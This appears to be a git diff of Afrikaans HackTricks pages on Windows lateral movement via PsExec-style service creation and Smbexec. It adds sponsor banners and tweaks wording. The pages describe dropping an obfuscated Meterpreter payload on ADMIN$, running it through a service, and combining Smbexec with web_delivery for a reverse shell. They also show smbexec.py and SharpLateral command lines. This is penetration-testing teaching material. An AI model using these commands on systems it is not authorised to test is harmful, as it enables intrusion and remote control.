* **Kopieer die binaire**: Die uitvoerbare word na die ADMIN$ deel gekopieer vanaf 'n opdragprompt, alhoewel dit enige plek op die lêerstelsel geplaas kan word om verborge te bly.
|
* **Kopieer die binaire**: Die uitvoerbare word na die ADMIN$ deel gekopieer vanaf 'n opdragprompt, alhoewel dit enige plek op die lêerstelsel geplaas kan word om verborge te bly.
|
||||||
* **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste op afstand te vra, te skep en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binaire te verwys.
|
* **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste afstands te vra, te skep en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binaire te verwys.
|
||||||
* **Begin die diens**: Die finale stap behels die begin van die diens, wat waarskynlik 'n "time-out" fout sal veroorsaak weens die binaire nie 'n werklike diens binaire is nie en nie die verwagte responskode teruggee nie. Hierdie fout is onbelangrik aangesien die primêre doel die uitvoering van die binaire is.
|
* **Begin die diens**: Die finale stap behels die begin van die diens, wat waarskynlik 'n "time-out" fout sal veroorsaak weens die binaire nie 'n werklike diens binaire is nie en nie die verwagte responskode teruggee nie. Hierdie fout is onbelangrik aangesien die primêre doel die uitvoering van die binaire is.
|
||||||
|
|
||||||
Waarneming van die Metasploit luisteraar sal onthul dat die sessie suksesvol geinitieer is.
|
Waarneming van die Metasploit luisteraar sal onthul dat die sessie suksesvol geinitieer is.
|
||||||
|
@ -50,9 +54,13 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,14 +15,22 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Hoe Dit Werk
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Smbexec** is 'n hulpmiddel wat gebruik word vir afstandsopdrag uitvoering op Windows stelsels, soortgelyk aan **Psexec**, maar dit vermy om enige kwaadwillige lêers op die teikenstelsel te plaas.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
## Hoe dit Werk
|
||||||
|
|
||||||
|
**Smbexec** is 'n hulpmiddel wat gebruik word vir afstandsopdraguitvoering op Windows-stelsels, soortgelyk aan **Psexec**, maar dit vermy om enige kwaadwillige lêers op die teikenstelsel te plaas.
|
||||||
|
|
||||||
### Sleutelpunte oor **SMBExec**
|
### Sleutelpunte oor **SMBExec**
|
||||||
|
|
||||||
- Dit werk deur 'n tydelike diens (byvoorbeeld, "BTOBTO") op die teikenmasjien te skep om opdragte via cmd.exe (%COMSPEC%) uit te voer, sonder om enige binêre lêers te laat val.
|
- Dit werk deur 'n tydelike diens (byvoorbeeld, "BTOBTO") op die teikenmasjien te skep om opdragte via cmd.exe (%COMSPEC%) uit te voer, sonder om enige binêre lêers te laat val.
|
||||||
- Ten spyte van sy stil benadering, genereer dit gebeurtenislogboeke vir elke opdrag wat uitgevoer word, wat 'n vorm van nie-interaktiewe "shell" bied.
|
- Ten spyte van sy stil benadering, genereer dit wel gebeurtenislogboeke vir elke uitgevoerde opdrag, wat 'n vorm van nie-interaktiewe "shell" bied.
|
||||||
- Die opdrag om te verbind met **Smbexec** lyk soos volg:
|
- Die opdrag om te verbind met **Smbexec** lyk soos volg:
|
||||||
```bash
|
```bash
|
||||||
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||||
|
@ -30,8 +38,8 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||||
### Uitvoering van Opdragte Sonder Binaries
|
### Uitvoering van Opdragte Sonder Binaries
|
||||||
|
|
||||||
- **Smbexec** stel direkte opdraguitvoering deur diens binPaths in staat, wat die behoefte aan fisiese binaries op die teiken uitskakel.
|
- **Smbexec** stel direkte opdraguitvoering deur diens binPaths in staat, wat die behoefte aan fisiese binaries op die teiken uitskakel.
|
||||||
- Hierdie metode is nuttig om eenmalige opdragte op 'n Windows-teiken uit te voer. Byvoorbeeld, om dit te kombineer met Metasploit se `web_delivery` module stel die uitvoering van 'n PowerShell-gefokusde omgekeerde Meterpreter payload in staat.
|
- Hierdie metode is nuttig vir die uitvoering van eenmalige opdragte op 'n Windows-teiken. Byvoorbeeld, om dit te kombineer met Metasploit se `web_delivery` module stel dit in staat om 'n PowerShell-gefokusde omgekeerde Meterpreter payload uit te voer.
|
||||||
- Deur 'n afstanddiens op die aanvaller se masjien te skep met binPath ingestel om die verskafde opdrag deur cmd.exe uit te voer, is dit moontlik om die payload suksesvol uit te voer, wat terugroep en payload-uitvoering met die Metasploit listener bereik, selfs al gebeur diensresponsfoute.
|
- Deur 'n afstanddiens op die aanvaller se masjien te skep met binPath ingestel om die verskafde opdrag deur cmd.exe uit te voer, is dit moontlik om die payload suksesvol uit te voer, wat terugroep en payload-uitvoering met die Metasploit-luisteraar bereik, selfs al gebeur diensresponsfoute.
|
||||||
|
|
||||||
### Opdragte Voorbeeld
|
### Opdragte Voorbeeld
|
||||||
|
|
||||||
|
@ -46,6 +54,14 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
||||||
## References
|
## References
|
||||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -10,17 +10,24 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei te outomatiseer** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
|
||||||
|
Kry Toegang Vandag:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
## Hoe werk hulle
|
## Hoe werk hulle
|
||||||
|
|
||||||
Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diens binaire gemanipuleer word om afstandsuitvoering op 'n teiken masjien via SMB te bereik:
|
Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diens binaire gemanipuleer word om afstandsuitvoering op 'n teiken masjien via SMB te bereik:
|
||||||
|
|
||||||
1. **Kopieer van 'n diens binaire na die ADMIN$ deel oor SMB** word uitgevoer.
|
1. **Kopieer van 'n diens binaire na die ADMIN$ deel oor SMB** word uitgevoer.
|
||||||
2. **Skep van 'n diens op die afstandsmasjien** word gedoen deur na die binaire te verwys.
|
2. **Skep van 'n diens op die afstandsmasjien** word gedoen deur na die binaire te wys.
|
||||||
3. Die diens word **afstandsbegin**.
|
3. Die diens word **afstandsbegin**.
|
||||||
4. By uitgang, word die diens **gestop, en die binaire word verwyder**.
|
4. By uitgang, word die diens **gestop, en die binaire word verwyder**.
|
||||||
|
|
||||||
|
@ -30,7 +37,7 @@ Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Ve
|
||||||
|
|
||||||
- **Kopieer die binaire**: Die uitvoerbare word na die ADMIN$ deel gekopieer vanaf 'n opdragprompt, alhoewel dit enige plek op die lêerstelsel geplaas kan word om verborge te bly.
|
- **Kopieer die binaire**: Die uitvoerbare word na die ADMIN$ deel gekopieer vanaf 'n opdragprompt, alhoewel dit enige plek op die lêerstelsel geplaas kan word om verborge te bly.
|
||||||
|
|
||||||
- **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste afstands te vra, te skep en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binaire te verwys.
|
- **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste afstands te vra, te skep, en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binaire te wys.
|
||||||
|
|
||||||
- **Begin die diens**: Die finale stap behels die begin van die diens, wat waarskynlik 'n "time-out" fout sal veroorsaak weens die binaire nie 'n werklike diens binaire is nie en nie die verwagte responskode teruggee nie. Hierdie fout is onbelangrik aangesien die primêre doel die uitvoering van die binaire is.
|
- **Begin die diens**: Die finale stap behels die begin van die diens, wat waarskynlik 'n "time-out" fout sal veroorsaak weens die binaire nie 'n werklike diens binaire is nie en nie die verwagte responskode teruggee nie. Hierdie fout is onbelangrik aangesien die primêre doel die uitvoering van die binaire is.
|
||||||
|
|
||||||
|
@ -52,16 +59,23 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
|
||||||
|
Kry Toegang Vandag:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue